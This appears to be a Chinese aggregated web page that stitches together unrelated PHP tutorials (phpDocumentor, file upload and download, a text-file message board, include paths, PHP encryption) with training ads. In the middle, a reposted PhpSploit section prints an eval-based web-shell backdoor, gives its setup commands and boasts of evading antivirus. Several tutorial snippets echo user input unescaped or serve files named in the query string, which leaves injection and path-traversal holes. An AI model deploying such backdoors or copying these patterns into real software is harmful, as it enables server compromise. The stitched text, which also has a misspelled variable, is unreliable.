PHPDocumentor是一个用PHP写的强大的文档自动生成工具,对于有规范注释的php程序,能够快速生成具有结构清晰、相互参照、索引等功能的API文档。旧版本是PHPDoc,PHPDoc是PEAR下面的一个非常优秀的模块,类似于javadoc。从1.3.0开始,更名为phpDocumentor,新版本新加了对php5语法的支持,同时,可以通过在客户端浏览器上操作生成文档,文档可以转换为PDF、HTML、CHM等格式的文档,这样非常有利于代码的升级、维护、移交等。
前提:安装的前提是已经安装了php环境,我安装的是xampp集成开发环境。
1.PHPDoc的结构及功能
PHPDoc是全部采用OOP的思想来编写的,这也是PEAR所推荐的方式,PHPDoc的工作原理:PHPDoc扫描指定目录下面的php源代码,扫描其中的关键字,截取需要分析的注释,然后分析注释中的专用的tag,生成xml文件,接着根据已经分析完的类和模块的信息,建立相应的索引,生成xml文件对于生成的xml文件,使用定制的模板输出为html文件。从设计上来说,PHPDoc使用了2个超类:PhpdocObject和PhpdocError。这是整个PHPDoc的基本类,这种方式也是PEAR所推荐的。当你编写应用框架时,最好能够有一个基本的超类,而其他的子类或者是功能类都有一个共同的祖先。在扫描源代码过程中,PHPDoc使用的是类似GREP的形式。PHPDoc令人满意的另一方面是其分析结果是以XML形式保存的,这就意味着其他应用程序可以共享这个数据,同时PHPDoc也提供了相应的接口,你可以实现这个接口,把API文档生成其他的形式,比如PDF,LATEX,WORD等。目前,PHPDoc的分析结果可以以HTML形式表现,由于使用了模板机制,可以很方便地定制风格。
2.安装PHPDoc
安装方式有两种,一是下载源码安装,另一种是通过pear安装。
第一种方法:
第一步:安装pear
使用dos窗口进入php安装目录,有个文件叫go-pear.bat,如果没有,建议到网上下载go-pear.phar,然后在dos窗口下运行 go-pear.phar, 从而安装pear。
php go-pear.phar
第二步:安装phpdoc
Pear install phpDocumentor
在phpDocumentor成功安装后,php安装目录下会多出来一个phpdoc.bat。这个文件就是我们用来生成文档的批处理文件。
在phpdoc.bat所在目录下,输入
Phpdoc –h
会得到一个phpDocumentor的详细参数列表。先看看最重要的几个吧。
-d
这个目录代表着需要生成文档的原始php文件目录(注意是目录)
-t
这个目录代表着生成的文档存放目录
-o
这个参数代表着生成的文档格式,例如html格式,参数就是
HTML:frames:phpedit
第三步:生成文档
生成文档的命令就是:
phpdoc -d "D:\phpdoc\1" -t "D:\phpdoc\1" -o "HTML:frames:phpedit"
可以看到,解析完成后,在目标目录下生成很多html文件,打开index.html文件,就是我们需要的文档,如上图所示。
第二种方法:
第一步:下载PHPDoc压缩文件(phpdoc.zip),地址如下:
http://star7th-wordpress.stor.sinaapp.com/uploads/2013/04/phpdoc.zip
第二步:解压到某一个目录
打开phpdoc.bat,编辑第16行:
SET phpCli=D:\xampp\php\php.exe
配置phpCli 为自己php.exe文件的路径即可。
第二步:dos窗口,进入文件的解压目录,然后执行解析文档命令即可。
phpdoc -d "D:\phpdoc\1" -t "D:\phpdoc\1" -o "HTML:frames:phpedit"
以上是安装phpDocumentor1版本,目前已经更新到phpDocumentor2版本了,version2的安装也很简单。
第一步:安装pear(同上)
此处给出下载地址:http://pear.php.net/go-pear.phar
将 go-pear.phar 放到 PHP 目录下执行安装命令:
php go-pear.phar
下面会执行输入 system
然后一路回车安装完毕。
第二步:接下来安装类关系绘图用到的工具
pear install image_graphviz
下载 http://www.graphviz.org/Download_windows.php graphviz-2.38.msi
安装后,注意环境变量 path 添加上该 bin 的路径,重启电脑,否则无法生效
第三步:安装 phpDocumentor
pear channel-discover pear.phpdoc.org
pear install phpdoc/phpDocumentor
稍等一会,安装步骤完成!
注意:两个软件安装后的目录都在PHP 下的 pear 下面:
php/pear/PhpDocumentor
php/pear/Image
显然:version2 比version1速度快了很多。
PHP文件上传, 应用非常普遍, 学习PHP就得会上传文件, 这是一个必备知识, 然对初学者来说, 这个上传的过程就显得稍微有些复杂了, 这里分享下详细的上传文件过程, 方便大家更好的学习应用
上传表单页面[注意不要忘记 form里面的 enctype="multipart/form-data"]
2. PHP接收页面:
注意:判断文件的大小, 文件的后缀, 及新的文件命名
雅腾教育专注IT高薪职业技能培训(php+web前端技术)
小班授课+手把手辅导+企业项目实战
零基础、4个月、包教会、推荐就业
对于一些互联网工作者来说,很多时候都害怕自己的重要文件被别人轻易的看到,这时候对文件加密就非常有必要了!那么怎样的加密系统才是最适合自己的呢?而今天小猿君就给大家带来了一个由PHP语言所开发出来的一个文件加密网站,这一网站的功能虽然简单,但是非常实用。下面我们就先来看看这一网站的主页截图吧!
这一次小猿君所开发出来的文件加密系统,建议大家只加密核心代码就可以了,对于非核心代码可不进行加密,不然全部加密会导致网站的文件过大而不能使用正常哦!
此系统安装时我们仅需要更改一下ini.php文件中的内容即可直接上传到自己的服务器中使用的了,安装非常简单快捷,基本上懂一些服务器知识的小伙伴也可以轻松上手安装完成!
好了,如果大家感觉小猿君此次所分享的源码对大家有用的话,可以直接在评论区留言哦!若想下载的小伙伴可以直接私信小猿君哈!谢谢大家的阅读!
知识点:
涉及函数:
//打开文件fopen(string $filename,string $mode); //给文件写入内容fwrite($fp, $a); //关闭资源fclose($fp);//从文件指针中读入一行并解析 CSV 字段fgetcsv(resource $handle);本文只讲解案例和抽选相关函数讲解,更多知识点移步:菜鸟教程
如上图案例结构图,按照阁主流程和思路将讲解如何创建msg.txt文本文档,并使用PHP对文档进行写入和读取操作,最后输出可视化展现给用户。
1.创建并打开msg.txt文档
文档存放与根目录下的files文件夹下。
//a参数为写入方式打开,将文件指针指向文件末尾。如果文件不存在则尝试创建之。 $fp= fopen('./files/msg.txt','a');网而打开write.php会发现files文件夹下多出msg.txt空白内容的文档。
2.前端提交留言:
这里写了一个简单的前台提交表单页面。下列代码会将表单信息以POST提交方式提交往write.php进行后续写入处理。
<!DOCTYPE html><html><head> <meta charset="UTF-8"> <title>添加留言</title></head><body><form action="write.php" method="post"> 标题: <input type="text" name="title" id=""><br /> 内容: <textarea name="content" id="" cols="30" rows="10"></textarea><br /> <input type="submit" value="提交"></form></body></html>效果:
3.将前台提交留言写入msg.txt。
//拼接写入内容$a=$_POST['title'].','.$_POST['content']."\n";//打开文件$fp= fopen('./files/msg.txt','a');//沿着资源写入内容fwrite($fp, $a);//关闭资源fclose($fp);//友好提示echo 'Is OK';效果:这里只查看文档内容情况。
4.读取文档内容。
使用while循环输出文档内容。fgetcsv函数依据文档内的逗号来隔开字符并以数组形式存放。
$fp = fopen('./files/msg.txt', 'r');echo '<table border="1">';//fgetcsv函数指针识别到最后没内容会返回false.while (($row = fgetcsv($fp)) != false) { echo '<tr>'; echo '<td>' . $row[0] . '</td>'; echo '<td>' . $row[1] . '</td>'; echo '</tr>';}echo '</table>';fclose($fp);效果:
5.id传参教学。
其实教程到第4步应该结束了,但是想一想最后展示的留言内容太多,不利于用户自己查看,随后补了一个id传参知识点。使用id传参可以准确的让PHP帮我们处理并输出单条留言信息。
在第四步的基础上改写一下,也就是加入了<a>标签进行传参进行跳转相应留言字段。
$fp = fopen('./files/msg.txt', 'r');echo '<table border="1">';$tid = 1;while (($row = fgetcsv($fp)) != false) { echo '<tr>'; echo '<td><a href="'.'read2.php?tid='.$tid.'">' . $row[0] . '</td>'; echo '<td>' . $row[1] . '</td>'; echo '</tr>'; $tid = $tid + 1;}echo '</table>';接下来新建read2.php文件,键入下列代码,用于接收read.php发过来的参数并处理展现单条留言给用户。
$fp = fopen('./files/msg.txt', 'r');$tid = $_GET['tid'];$num = 1;while (($row = fgetcsv($fp)) != false) { if ($num == $tid){ echo '<h1>'.$row[0].'</h1>'; echo '<p>'.$row[1].'</p>'; } $num = $num+1;}fclose($fp);效果:
结束:
最终效果演示:
项目源码:
蓝奏云提供下载:
file_demo1.zip大小:2.2 K
已经过安全软件检测无毒,请您放心下载。
1.文件的路径问题
我们之前也用过一些有关文件路径问题的知识,比如:
<a href=”网页路径” > ....</a>
<img src=”图片路径” />
<script src=”js文件路径” ></script>
php中,有3种路径
相对路径:
有两个特定符号(特定路径)来决定的路径形式:
./ :表示当前目录,也就是当前网页所在的路径
../ :表示当前目录的上一级目录,也就是当前网页所在的目录的上一级目录
相对路径都是由这两个符号开头的路径形式,举例:
include ‘./page1.php’;
include ‘../page2.html’; //也可以载入html文件
include ‘./dir1/dir2/page3.html’;
include ‘../../dir4/dir5/page4.php’;
绝对路径:
就是指:通过该路径,可以不依赖逻辑,而是直接就找到对应文件。
有两种形式的绝对路径:
本地绝对路径:
include ‘c:/dir1/dir2/page1.html’;
include ‘f:/dir3/page3.php’;
特别注意:在代码中,其实千万不要出现上述这种“字面上的绝对本地路径”!!!
实际上,我们需要在代码来“获取”绝对路径,以实现本地文件的绝对路径的加载。
通常,需要使用(以来)如下2个常量,来获取相应的信息:
__DIR__:获取当前网页文件所在的本地绝对路径(目录);
DIRECTORY_SEPARATOR: 它是一个系统常量,表示当前操作系统红的目录之间的分隔符,有:
window系统中,分隔符为:\
linux或unix系统中,分隔符为:/
举例如下:
无指定路径:
形式类似这样:
include ‘page1.html’; //没有给出任何路径信息
include ‘page2.php’;
我们不推荐这样用。
如果万一这样用了,通常php是会在当前网页文件所在位置来找该文件。
2.文件载入详细过程
假设前提:主文件中,有一个载入语句,比如:
include ‘./page1.php’;
则其过程如下:
1,在该语句之前,先“中断”php的代码区域,进入html代码区域;
2,然后,在该语句处,相当于使用被载入的文件内容,替换该载入语句本身!
3,最后,又退出html区域,重新进入php代码区域,继续后续代码。
举例:
它相当于:
转载:子弹安全
背景:
PhpSploit是一个远程控制框架,旨在通过HTTP在客户端和web服务器之间提供一个隐蔽的交互式shell连接。它是一个后门利用工具,能够维护对受危害的web服务器的访问,以实现权限提升。
PhpSploit在标准客户端请求和web服务器的相对响应下,通过一个微小的多态后门,使用HTTP头来完成模糊通信:
特征
①高效:20多个插件可自动执行开发后任务运行命令并浏览文件系统,绕过PHP安全限制在客户端和目标之间上载/下载文件通过本地文本编辑器编辑远程文件在目标系统上运行SQL控制台生成反向TCP外壳
②隐秘:框架是由偏执狂制造的,为偏执狂而生.日志分析与NIDS特征检测几乎不可见安全模式和常见的PHP安全限制绕过通信隐藏在HTTP头中加载的有效载荷被模糊化以绕过NIDShttp/https/socks4/socks5代理支持
③方便:一个强大的界面,具有许多关键特性任何命令或选项的详细帮助(键入帮助)在客户端和服务器上跨平台。功能强大的接口,支持完整性和多命令会话保存/加载功能和持久历史记录对大型有效负载(如上传)的多请求支持提供功能强大、高度可配置的设置引擎每个设置(如用户代理)都有一个多态模式可自定义的插件交互环境变量提供完整的插件开发API
支持的平台(作为攻击者):GNU/Linux系统Mac OS X操作系统
支持的平台(作为目标):GNU/Linux系统BSD LikeMac OS X操作系统Windows NT系统
安装使用命令
git clone https://github.com/nil0x42/phpsploitcd phpsploit/pip3 install -r requirements.txt./phpsploit --interactive --eval "help help"运行时 Phpsploit 并生成一个标准的后门在WordPress或php代码看起来像这样:
<?php @eval($_SERVER[‘HTTP_PHPSPL01T’]); ?>上面的代码可以通过运行下面的命令生成:
./phpsploit --interactive --eval "backdoor"
生成的木马用VirusTotal测试结果如下
如果我们再次运行phpsploit并设置另一个 密钥是这样的:
设置密钥绕过杀毒软件
后门代码看起来也不一样:
<?php @eval($_SERVER[‘HTTP_LFN2DZLOE’]); ?>混入php文件中再次测试结果如下:
成功绕过杀毒软件获得shell
项目地址:https://github.com/nil0x42/phpsploit
本篇文章容大教育给大家分享一下PHP格式文件打开的方法有哪些,文章中会有详细的方法与代码列出,喜欢PHP开发技术的小伙伴可以随着小编一起来了解下。
php文件格式怎么打开?要搞清楚php文件用什么打开,首先我们来看php文件是什么文件,PHP是一个网页脚本,文件后缀名为.php,如下图:
但不同于html xml 标签语言,直接可以通过浏览器打开,php文件需要有PHP的运行环境才可以访问和打开,如果只是编辑PHP文件,只需要用:
php文件打开方式一:用记事本打开
右击.php文件,选择记事本打开,就可以看到文件代码啦!
php文件打开方式二:用Dreamweaver打开
Dreamweaver是网页编辑器,比较流行的网站开发工具,你可以直接把文件拖进去就可以打开php文件了
php文件打开方式三:Notepad++工具打开
也是代码编辑器,选择文件打开就行
php文件打开方式四:SublimeText工具打开
和上面方法一样,直接选择文件打开就行
除了记事本,其它代码编辑器工具都可以去php中文网php开发工具下载。
以上就是容大教育PHP在线学习小编给大家分享的PHP格式文件打开的方法,希望对小伙伴们有所帮助。
容大教育IT培训机构,能够为你提供良好的技术学习,能够更好地了解每个学习者的需求,根据每个学习者特定的需求为其配置最合适的资产组合,无疑更加符合学习者的需求。
不同的PHP调试环境,加密略有差异。下面主要介绍windows下phpstudy2018、xampp及phpstudy-pro三种环境的php文件加密。
01不同环境的通用流程
1.用Virbox Protector对解释器(php-cgi.exe或httpd.exe)加密
2.用DSProtector对php加密
3.用加密后的解释器(php-cgi.exe或httpd.exe)替换原来的解释器
4.重启Apache服务,即可运行程序
02phpstudy2018
1.加密php-cgi.exe
确认环境的php使用版本,打开对应的php环境目录下php-cgi.exe,将php-cgi.exe拖入到Virbox Protector中。
找到php环境目录下php-cgi.exe,将php-cgi.exe拖入到Virbox Protector中,设置加密选项,ds按钮打开,设置密码。
设置完成后,点击保护选中项目,生成两个文件:php-cgi.ssp.exe 和php-cgi.exe.ssp
2.打开DSProtector,对php文件加密。
点击加密选项页面的【打开DSProtector】,配置文件会自动加载生成的php-cgi.exe.ssp,将待加密的1.php拖入进来,点击开始保护,提示成功,php文件保护成功。
1.php加密成功后,会将源文件备份成1.php.bak,1.php则是加密后的文件,可使用编辑器查看1.php的代码变为乱码。
3.替换php-cgi.exe
将加密后生成的php-cgi.ssp.exe,改名为php-cgi.exe,替换原来的php-cgi.exe
4.重启phpstudy
替换php-cgi.exe后,点击重启phpstudy,即可运行加密的php文件
03phpstudy-pro、小皮面板、宝塔面板
与phpstudy2018的加密流程一致,找到使用的php版本的php-cgi.exe,后面流程一致。替换php-cgi.exe后,重启Apache服务。
04XAMPP
使用XAMPP环境的php项目,服务使用apache,需要对httpd.exe进行加密替换。
1.找到apache文件夹下的httpd.exe,加密httpd.exe
将httpd.exe拖入到Virbox Protector中,加密选项处【ds】按钮打开,设置密码,然后点击【保护选中项目】,会生成httpd.exe.ssp 和httpd.ssp.exe.
2.加密php文件
点击【打开DSProtector】,配置文件会自动加载httpd.exe.ssp,将php文件拖入,点击开始保护,提示成功
index1.php加密成功后,会将源文件备份成index1.php.bak,index1.php则是加密后的文件,可使用编辑器查看index1.php的代码变为乱码。
3.替换httpd.exe
将加密后生成的httpd.ssp.exe,改名为httpd.exe,替换原来的httpd.exe
4.重启apache服务
在xampp面板,将Apache服务stop,然后start。即可运行加密后php文件。
05总结
加密后的php可正常运行,不影响网站性能。无法反编译加密后的php文件。
一、打开关闭文件
1、fopen()函数打开文件,它有两个参数第一个是文件名,第二个是打开方式。
// 获取文件路径 $filePath = "psg.txt"; // 打开文件,将资源绑定到一个流或者句柄,绑定之后,脚本就可以通过句柄与此资源交互。 $fileHandle = fopen($filePath, "a+");
fopen()函数第二个参数可能的值
mode
说明
r只读方式打开,文件从头开始读。
r+读写方式打开,文件从头开始读写。
w只写方式打开文件,从文件开头开始写。如果文件已经存在,将文件指针指向文件头并将文件大小截为零,即删除所有文件已有的内容,如果文件不存在,函数将创建这个文件。
w+读写方式打开文件,如果文件已经存在,将文件指针指向文件头并将文件大小截为零。即删除所有文件已有的内容,如果文件不存在,函数将创建这个文件。
a写入方式打开,将文件指针指向文件末尾。如果该文件已有内容,将从文件末尾开始追加,如果该文件不存在,函数将创建这个文件。
a+读写方式打开,将文件指针指向文件末尾。如果该文件已有内容,将从文件末尾开始追加或者读,如果该文件不存在,函数将创建这个文件。
作者:XZ阳光小熊链接:https://www.jianshu.com/p/e845ab9e85c6來源:简书简书著作权归作者所有,任何形式的转载都请联系作者获得授权并注明出处。
第一节 上传设置
客户端设置
form:method=post、enctype="multipart/form-data"
input:type=file
<form action="upload.php" method="post" enctype = "multipart/form-data"><input type="file" name="fname"> <!--MAX_FILE_SIZE有兼容问题--> <input type="hidden" name="MAX_FILE_SIZE" value="30000" /> <button type="submit">提交</button></form>
服务端设置
在php.ini中进行设置:
默认uploadmaxfilesize = 2M,如果你想上传超过8M的文件,比如:20M,你在设定uploadmaxfilesize = 20M的同时,还要修改postmaxsize选项(默认为8M)。否则post数据超出限制,$_FILES将会为空(报错)。
$_FILES数组
$_FILES超全局数组中,包含着从客户端提交文件的全部信息:
array (size=1)'fname' => //上传文件表单项的name array (size=5) 'name' => string 'home.html' (length=21) //上传文件的名称 'type' => string 'text/html' (length=9) //文件类型(常见文件都可以上传) 'tmp_name' => string 'C:\wamp\tmp\php57A2.tmp' (length=23) //上传文件的临时文件名 'error' => int 0 //上传文件遇到的错误号 'size' => int 28131 //上传文件的大小
上传步骤
var_dump($_FILES);$file=$_FILES["fname"];
获取$_FILES文件 临时文件
$tmp_file=$file["tmp_name"];
获取后缀名
$ext=pathinfo($file["name"],PATHINFO_EXTENSION);//后缀名
创建新文件名
$new_file="file".rand(1,1000000).".".$ext;
保存路径
$path="./files";
格式化路径
$path=rtrim($path,'/')."/";
拼接上传目录
$new_file=$path.$new_file;
临时文件转换成正式文件
move_uploaded_file($tmp_file,$new_file);
PHP第二节 下载设置
浏览器对于可识别的文件格式(html、txt、png、jpg等),默认是直接打开的,对于无法识别的文件,才作为附件来下载。为了可以让可识别的文件也直接可以下载,需要进行如下设置:
<a title="点击下载" href="down.php?name=01.jpg&type=image/jpeg"><img src="01.jpg"></a>
1. 读取文件
$fliename=$_GET["name"];$filetype=$_GET["type"];
2. 文件的描述信息 Content-Disposition(内容配置)指定为attachment(附件)(必须)
header("Content-Disposition:attachment;filename={$filename}");
3. 指定被下载文件的类型(非必须)
header("Content-Type:{$filetype}");
4. 指定被下载文件大小(非必须)
header("Content-Length:".filesize($filename));
5. 将内容读入内存缓冲区
readfile($filename);
注意:在 readfile($filename) 之前,不能有任何输出语句(错误信息、var_dump调试语句,echo输出等),否则下载的文件会出错。
PHP-文件处理系统「程序员培养之路第三十七天」
PHP-错误日志处理「程序员培养之路第三十六天」
PHP-日期时间操作函数「程序员培养之路第三十五天」